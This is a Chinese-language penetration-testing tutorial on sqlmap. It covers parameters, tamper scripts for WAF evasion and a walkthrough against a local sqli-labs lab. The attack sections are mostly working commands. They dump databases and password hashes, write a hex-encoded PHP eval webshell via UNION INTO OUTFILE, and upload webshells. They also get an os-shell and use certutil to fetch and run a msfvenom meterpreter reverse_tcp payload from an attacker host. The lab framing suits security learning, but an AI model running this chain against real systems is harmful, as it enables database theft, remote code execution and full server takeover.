一、前言 Sqlmap 这么优秀的自动化测试工具就不必过多介绍了,也是日常工作中使用频率比较高的一款工具,文章主要考究其基本用法及部分进阶使用手段。
二、sqlmap常用参数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | 命令参数 | 参数作用 | | ------------------------------ | ------------------------------------------------------------ | | -u | 指定目标url | | -r | 从文件中加载HTTP请求(数据包) | | * | json格式指定参数,如指定参数orderNo:{"phoneNo":"15123456789","platNum":"844519422627945","orderNo":"1*"} | | -m | 从文本中获取多个目标扫描 | | --data | 以POST方式提交数据 | | -random-agent | 随机User-Agent | | --user-agent | 指定User-Agent | | --delay | 设置请求间的延迟 | | --timeout | 指定超时时间 | | --dbms | 指定db,sqlmap支持的db有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite等 | | --os | 指定数据库服务器操作系统 | | --tamper | 指定脚本tamper | | --level | 指定探测等级 | | --risk | 指定风险等级 | | --technique | B: Boolean-based blind SQL injection<br/>E: Error-based SQL injection<br/>U: UNION query SQL injection<br/>S: Stacked queries SQL injection<br/>T: Time-based blind SQL injection | | -p | 指定需要测试的参数 | | –batch | 自动选择Y/N | | –dbs | 枚举数据库 | | -D | DATABASE:指定数据库 | | –tables | 枚举表名 | | -T | 指定表名 | | –columns | 枚举列名 | | -D | COLUMN:指定字段 | | –dump | 脱取指定字段 | | –dump-all | 脱取数据库全部字段 | | -a/–all | 获取所有信息 | | -b/–banner | 获取banner信息 | | –current-user | 获取当前数据库用户 | | –is-dba | 判断当前用户是否为DBA权限 | | –users | 枚举用户列表 | | –sql-shell | 返回交互式数据库的shell | | –os-shell | 返回交互式的操作系统shell | | –os-cmd | 执行OS命令CMD | | –cookie=COOKIE | 伪造cookie | | --proxy=PROXY | 使用代理连接目标 URL | | --mobile | 使用 HTTP User-Agent 模仿智能手机 | | -H HEADER | 设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1") | | --ignore-proxy | 忽略系统默认代理设置 | | * | 在 | | --keep-alive | 保持连接,出现[CRITICAL] connection......报错的时候,使用这个参数 | | --referer http://www.baidu.com | #伪造referer字段 | | -v 3 | 输出详细度,最大值5,会显示请求包和回复包 | | --roles | 列出数据库所有管理员角色,仅适用于oracle数据库的时候 | | --identify-waf | 检测是否有WAF |
三、基本使用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # 基本语法 sqlmap -r sql.txt # sql.txt是我们抓取的 http 请求包 sqlmap -r sql.txt -p username # 指定参数,请求包中存在多个参数,根据前期探测已知注入点为 username,所以可利用 -p 指定参数,减少不必要的探测 sqlmap -u "http://www.xxx.com/username/admin*" # 已知注入参数,可以在其后面加个*来让sqlmap对其注入,post包中json数据也可使用该*号 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" # 探测该url是否存在漏洞,实际探测 id 参数是否存在注入 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" --cookie="登录抓取的cookie" # 当该网站需要登录时,探测该url是否存在漏洞 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" # 抓取其post提交的数据填入进行探测 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" --users # 查看数据库的所有用户 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" --passwords # 查看数据库用户名的密码 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" --dbs # 查看所有数据库 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" --tables # 查看所有数据表 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" --columns # 查看数据库中所有列 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" --current-db # 查看当前数据库 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" -D 数据库名 --tables # 查看指定数据库中的所有表 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" -D 数据库名 -T 数据表名 --columns # 查看指定数据库中指定表中的所有列 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" -D 数据库名 -T 数据表名 -C 数据列 --dump # 查看指定数据库中的指定表中指定列的所有数据 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" -D 数据库名 -T 数据表名 -C 数据列 --dump --start 1 --stop 10 # 查看指定数据库中的指定表中指定列的前10条数据 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" -D security -T users --dump-all # 查看数据库security中的users表中的所有数据 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" -D security --dump-all # 查看数据库security中的所有数据 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" --dump-all # 查看该数据库中的所有数据 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" --tamper=space2comment.py # 指定脚本进行过滤,用/**/代替空格 sqlmap -u "http://192.168.114.144/sqli/Less-5/?id=1" --level=5 --risk=3 # 探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入 sqlmap -u "http://192.168.114.144/sqli/Less-5/?id=1" --dbms="MySQL" # 指定其数据库为mysql sqlmap -u "http://192.168.114.144/sqli/Less-5/?id=1" --proxy="http://192.168.114.144:8080" #指定代理 当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl sqlmap -u "http://192.168.114.144/sqli/Less-5/?id=1" --technique T # 指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,也可以直接手工指定,-t效果一样。 # 命令执行 sqlmap -u "http://192.168.114.144/sqli/Less-1/?id=1" --sql-shell # 执行指定的sql语句 sqlmap -u "http://192.168.114.144/sqli/Less-5/?id=1" --os-shell/--os-cmd # 执行--os-shell命令,获取目标服务器权限 sqlmap -u "http://192.168.114.144/sqli/Less-5/?id=1" --os-pwn # 执行--os-pwn命令,将目标权限弹到MSF上 sqlmap -u "http://192.168.114.144/sqli/Less-5/?id=1" --file-read "c:/test.txt" # 读取目标服务器C盘下的test.txt文件 sqlmap -u "http://192.168.114.144/sqli/Less-5/?id=1" --file-write test.txt --file-dest "e:/hack.txt" # 将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt sqlmap -d "mysql://root:root@192.168.114.14430:3306/mysql" --os-shell # 知道网站的账号密码直接连接
四、Temper脚本 sqlmap自带脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | temper | function | | ---------------------------- | :----------------------------------------------------------- | | apostrophemask.py | 用UTF-8全角字符替换'(例如'->%EF%BC%87) | | apostrophenullencode.py | 用双unicode替换'(例如'->%00%27) | | appendnullbyte.py | 在payload的末尾附加NULL字节字符(%00) | | base64encode.py | 对payload中的所有字符进行base64编码 | | between.py | 用运算符('>')替换'NOT BETWEEN 0 AND#',用运算符('=')替换'BETWEEN#AND#' | | bluecoat.py | 用随机空白字符替换语句后的空格字符,之后用运算符LIKE替换字符'=' | | chardoubleencode.py | 对payload中的所有字符进行双重URL编码(例如SELECT->%2553%2545%254C%2545%2543%2554) | | charencode.py | 对payload中所有字符进行URL编码(例如SELECT->%53%45%4C%45%43%54) | | charunicodeencode.py | 对payload中的所有字符进行unicode编码(例如SELECT->%u0053%u0045%u004C%u0045%u0043%u0054) | | charunicodeescape.py | 使用Unicode转义payload中的未编码字符(例如SELECT->\u0053\u0045\u004C\u0045\u0043\u0054) | | commalesslimit.py | 用'LIMIT N OFFSET M'替换(MySQL)实例,例如'LIMIT M,N' | | commalessmid.py | 用'MID(A FROM B FOR C)'替换(MySQL)实例,例如'MID(A,B,C)' | | commentbeforeparentheses.py | 在括号前加(内联)注释(例如((->/**/() | | concat2concatws.py | 用'CONCAT_WS(MID(CHAR(0),0,0),A,B)'替换(MySQL)实例,例如'CONCAT(A,B)' 。 | | equaltolike.py | 将('=')运算符替换为'LIKE' | | escapequotes.py | 斜杠转义单引号和双引号(例如'-> \') | | great.py | 替换运算符('>' )和'GREATEST'对应 | | Halfversionedmorekeywords.py | 在每个关键字前添加mysql注释 | | hex2char.py | 替换每个(MySQL)0x等效的CONCAT(CHAR(),...)编码字符串 | | htmlencode.py | 用HTML编码(使用代码点)所有非字母数字字符(例如'->') | | ifnull2casewhenisnull.py | 绕过对 IFNULL 过滤,替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ | | ifnull2ifisnull.py | 用'IF(ISNULL(A),B)替换'IFNULL(A,B)'之类的实例,A)'对应 | | informationschemacomment.py | 在所有出现的(MySQL)“information_schema”标识符的末尾添加一个内联注释(/ ** /) | | least.py | 用'LEAST'对应替换运算符('>') | | lowercase.py | 用小写替换每个关键字字符(例如SELECT->select) | | luanginx.py | LUA-NginxWAF绕过(例如Cloudflare) | | modsecurityversioned.py | 包含带有(MySQL)版本注释的完整查询 | | modsecurityzeroversioned.py | 包含带有(MySQL)零版本注释的完整查询 | | multiplespaces.py | 在SQL关键字周围添加多个空格('') | | overlongutf8.py | 将payload中的所有(非字母数字)字符转换为超长UTF8(例如'->%C0%A7) | | overlongutf8more.py | 将payload中所有字符转换为超长UTF8(例如SELECT->%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) | | percent.py | 在每个字符前面添加一个百分号('%') (例如SELECT->%S%E%L%E%C%T) | | plus2concat.py | 替换运算符('+')与(MsSQL)函数CONCAT()对应 | | plus2fnconcat.py | 用(MsSQL)ODBC函数{fn CONCAT()}替换为('+') | | randomcase.py | 用随机大小写值替换每个关键字字符(例如SELECT-> SEleCt) | | randomcomments.py | 在SQL关键字内添加随机内联注释(例如SELECT-> S/**/E/**/LECT) | | sp_password.py | 将(MsSQL)函数'sp_password'附加到payload的末尾,以便从DBMS日志中自动进行混淆 | | space2comment.py | 空格替换为/**_**/ | | space2dash.py | 空格替换为-加随机字符 | | space2hash.py | 空格替换为#加随机字符 | | space2morecomment.py | 空格替换为/**_**/ | | space2morehash.py | 空格替换为#加随机字符及换行符 | | space2mssqlblank.py | 空格替换为其他空符号(MsSQL) | | space2mssqlhash.py | 空格替换为%23%0A(MsSQL) | | space2mysqlblank.py | 空格替换为其它空符号(Mysql) | | space2mysqldash.py | 替换空格字符('')(’–‘)后跟一个破折号注释一个换行(’n’) | | space2plus.py | 用加号('+')替换空格字符('') | | space2randomblank.py | 用空格中的随机空白字符替换空格字符('')有效的替代字符集 | | substring2leftright.py | 用LEFT和RIGHT替换PostgreSQL SUBSTRING | | symbolicologic.py | 用符号(&&和\|\|)替换AND和OR逻辑运算符 | | unionalltounion.py | 用UNION SELECT替换UNION ALL SELECT | | unmagicquotes.py | 用多字节组合%BF%27替换引号字符('),并在末尾添加通用注释 | | uppercase.py- | 用大写值替换每个关键字字符(例如select -> SELECT) | | varnish.py | 添加HTTP标头'X-originating-IP'以绕过Varnish防火墙 | | versionedkeywords.py | 用注释封装每个非函数的关键字 | | versionedmorekeywords.py | 将每个关键字包含(MySQL)版本注释 | | versionedmorekeywords.py | 将每个关键字包含(MySQL)版本注释 | | xforwardedfor.py | 添加伪造的HTTP标头'X-Forwarded-For |
Temper自编写 Sqlmap 支持自编写 temper ,自带例子 base64encode.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 """ Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.convert import encodeBase64from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOW def dependencies (): pass def tamper (payload, **kwargs ): """ Base64-encodes all characters in a given payload >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' """ return encodeBase64(payload, binary=False ) if payload else payload
自定制,将 空格
,替换为 /**/
,将 select
替换为 Select
, SLEEP
替换为 Sleep
,然后将此脚本放置到 sqlmap 的 temper 目录下,然后调用参数 –temper xxx.py 即可
1 2 3 4 5 6 7 8 9 """ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ def tamper (payload, **kwargs ): return payload.replace(" " ,"/**/" ).replace("select" ,"Select" ).replace("SLEEP" ,"Sleep" )
五、具体利用 这边利用 sqli-lab 环境作为靶场环境,具体搭建请自行参考网上文章,或者直接 docker pull 一个,这里不再赘述。
基础使用 1、直接对url进行探测是否存在漏洞 python sqlmap.py -u "http://192.168.114.144:8001/Less-1/?id=1"
2、查询其数据库 python sqlmap.py -u "http://192.168.114.144:8001/Less-1/?id=1" --dbs
3、众所周知 sqli-lab 数据库为 security,我们直接查询其数据表 python sqlmap.py -u "http://192.168.114.144:8001/Less-1/?id=1" -D security --tables
4、对数据表中的 users 数据列进行查询 python sqlmap.py -u "http://192.168.114.144:8001/Less-1/?id=1" -D security -T users --columns
5、查询 usermane 数据列中的所有数据,查询到有13个用户名 python sqlmap.py -u "http://192.168.114.144:8001/Less-1/?id=1" -D security -T users -C username --dump
6、继续查询 password 数据列中的数据 python sqlmap.py -u "http://192.168.114.144:8001/Less-1/?id=1" -D security -T users -C password --dump
至此,sqlmap基本的数据查询就已经完成了,可通过查询出来的账号密码进行后台登录,寻找下一个漏洞点深一步测试。
进阶使用 在日常的渗透中,有时候因为查询数据时间过长,我们习惯得到注入点后,查询其是否存在 dba 权限,若是 dba 权限则可进一步获取交互 shell。这里主要接扫几种进一步利用方式:–os-shell、–sql-shell、–file-read、–file-write、–file-dest。
1、查询是否是 dba 权限 python sqlmap.py -u "http://192.168.114.144:8001/Less-1/?id=1" --is-dba
,这里显示 DBA:False 则说明不是 DBA权限,则无法进一步利用。
我们更换关卡为第5关,尝试利用 DBA 进一步测试 python sqlmap.py -u "http://192.168.114.144:8001/Less-5/?id=1" --is-dba
DBA:True,证明为 dba 权限
os-shell –os-shell,直接获取数据库 shell(相当于获取数据库服务器权限,可进行命令执行),上传webshell等操作
利用条件:
1 2 3 4 MySQL root账号权限,即配置MySQL连接的账号为root账号,不是root账号具备root权限也可 GPC配置关闭,能使用单引号 有网站的绝对路径,且具备可以在文件夹写入文件的权限 没有配置secure-file-priv属性
1、获取 –os-shell
python sqlmap.py -u "http://www.sqli-labs-funsiooo.com:8001/Less-7/?id=1" --os-shell
默认为 PHP ,可手动选择数字
输入绝对路径,实战中可通过网站报错、信息泄露等手段获取网站路径
环境符合,获取 os-shell
通过 os-shell 可执行系统命令
2、通过 os-shell 上传木马,首先在 VPS 上放置一个木马,通过 os-shell 利用 sqlmap 调用系统 certutil.exe 远程下载木马,然后执行上线,下图为攻击机地址。
生成msf木马
1 msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.130 LPORT=2333 -f exe -o /home/funsiooo/2333.exe
利用 Python 在生成 msf 木马路径下开启临时 web 服务
1 python3 -m http.server 8000
攻击机 msf 处进行监听
1 2 3 4 5 6 7 8 msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.114.140 lhost => 192.168.114.140 msf6 exploit(multi/handler) > set lport 2333 lport => 2333 msf6 exploit(multi/handler) > run
在 sqlmap 处调用 windwos 自带的 certutil.exe 远程下载 msf shell,最后通过命令执行 msf shell 反弹shell
远程下载2333.exe(注意y/n/a选择)
1 os-shell> certutil.exe -urlcache -split -f http://192.168.114.140:8000/2333.exe C:\Users\Public\2333.exe
执行 2333.exe 木马程序,获取反弹 msf shell
1 os-shell> C:\Users\Public\2333.exe
sql-shell –sql-shell,数据库交互模式 shell,执行数据库命令,上传shell,注意:该关卡通关需要secure_file_priv属性为空,若为NULL不能写入,具体参数解析或查询方法看后面有解析
若为NULL,则需要打开phpstudy\MySQL\my.ini文件,在其中加上一句:secure_file_priv=”/“
利用条件:
1、获取 sql-shell python sqlmap.py -u "http://www.sqli-labs-funsiooo.com:8001/Less-7/?id=1" --sql-shell
查询数据库版本 select @@version;
查看目录和 secure_file_priv 属性以及数据库路径和 Mysql 安装路径 select @@secure_file_priv,@@datadir,@@basedir
1 2 3 4 5 6 7 8 9 10 11 12 # @@secure_file_priv 查看数据库是否有写入、写出、或指定具体路径写入属性,用来限制导出效果。他有三个属性: 1)null限制不能导出 2)为空可以自定义 3)为一个路径则只能导出到指定路径 若上图为C:\\即为空,即可以自定义写入路径 # @@basedir 该参数指定了安装 MySQL 的安装路径(mysql安装目录) # @@datadir 参数 该参数指定MySQL的数据文件的存放目录,数据库文件即我们常说的 MySQL data 文件。
为 NULL 不可导出,所以得修改为空才能通过 into file 进行写入,实战中若为 NULL 则不能进一步利用
在 Mysql 文件中的 my.ini 添加 secure_file_priv="/"
再次探测,@@secure_file_priv
已变为 C:\
通过into outfile 写入 webshell, 注入点闭合语句+回显点+(ox+webshell十六进制)+”网站绝对路径”
1 http://www.sqli-labs-funsiooo.com:8001/Less-7/?id=1')) union select 1,2,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e into outfile "C:\\phpstudy_pro\\WWW\\www.sqli-labs-funsiooo.com\\Less-7\\1.php" --+
未写入前
写入后
通过蚁剑进行连接
sql-shell 中通过以下这条命令,可以查询数据库的用户和密码 sql-shell> select host,user,password from mysql.user
file-read 当数据库为 MySQL、PostgreSQL 或 SQL Server,并且当前用户有权限时,可以读取指定文件。
执行命令 python sqlmap.py -u "http://www.sqli-labs-funsiooo.com:8001/Less-5/?id=1" --file-read "C:\Users\Public\test.txt"
成功读取,并将文件保存在电脑 C:\Users\Boom\AppData\Local\sqlmap\output\www.sqli-labs-funsiooo.com\files
下
file-write、file-dest 当数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入),并且当前用户有权限向任意目录写文件的时候,可以上传文件到数据库服务器。我们可以上传木马进行 getshell
1 python sqlmap.py -u "http://www.sqli-labs-funsiooo.com:8001/Less-5/?id=1" --file-write C:\Users\Boom\Desktop\sql_upload\shell.php --file-dest "C:\phpstudy_pro\WWW\www.sqli-labs-funsiooo.com\shell-2.php"
成功上传
为上传前
上传后
连接 Webshell,这里使用冰蝎4 虽然上传成功但连接不成功,以下换回冰蝎3才能成功连接
定制化参数 有时候通过测试发现存在 sql 注入,但利用 sqlmap 进行验证时发现却不能检测出来存在注入,这时候就需要根据实际情况对 sqlmap 请求参数进行处理
抓取数据包,将 Request 请求复制保存为 .txt 文件,放置到 sqlmap 目录下。
直接对数据包进行验证,sqlmap 没有发现漏洞
我们将探测等级提升至 –level 3 ,再次进行测试,sqlmap 可发现漏洞的存在
这只是一个小例子,我们实战中可能对存在 WAF 或其限制,我们可以通过一步步调试 sqlmap 参数进行测试,比如我们为了逃避系统的检测我们可以使用 –random-agent 变换 User-Agent 头,–technique 指定注入类型, –tamper 指定脚本等等指令进行调试,除此之外,我们还可以通过 -v 参数查看 sqlmap 的测试 payload 机制,研究其 payload 的组成,搭配temper 能更好的分析其 bypass 机制。
本人常用命令 sqlmap.py -r data.txt --levle 3 -p username --dbs --tamper space2morecomment --random-agent --ignore-redirects --ignore-proxy --technique=B
六、总结 通过案例学习 sqlmap 的基本使用,最大程度自动化测试,工具只是辅助,对于 SQL 注入这里类型,还是得打好基础,理解其原理,本人也一直在持续学习中,把它研究透还是得需要点时间。当然 sqlmap 作为成熟的自动化工具,其功能不止以上所阐述的这么少,其余功能有待挖掘。
七、参考 1 2 3 4 5 https://www.yang99.top/index.php/archives/30/ https://www.anquanke.com/post/id/235846 https://blog.yd0ng.com/2020/09/07/SQLMAP%E9%AB%98%E7%BA%A7%E4%BD%BF%E7%94%A8%E5%8F%8Atamper%E8%84%9A%E6%9C%AC%E7%BC%96%E5%86%99/ https://www.cnblogs.com/fzblog/p/13800604.html https://sqlmap.kvko.live/usage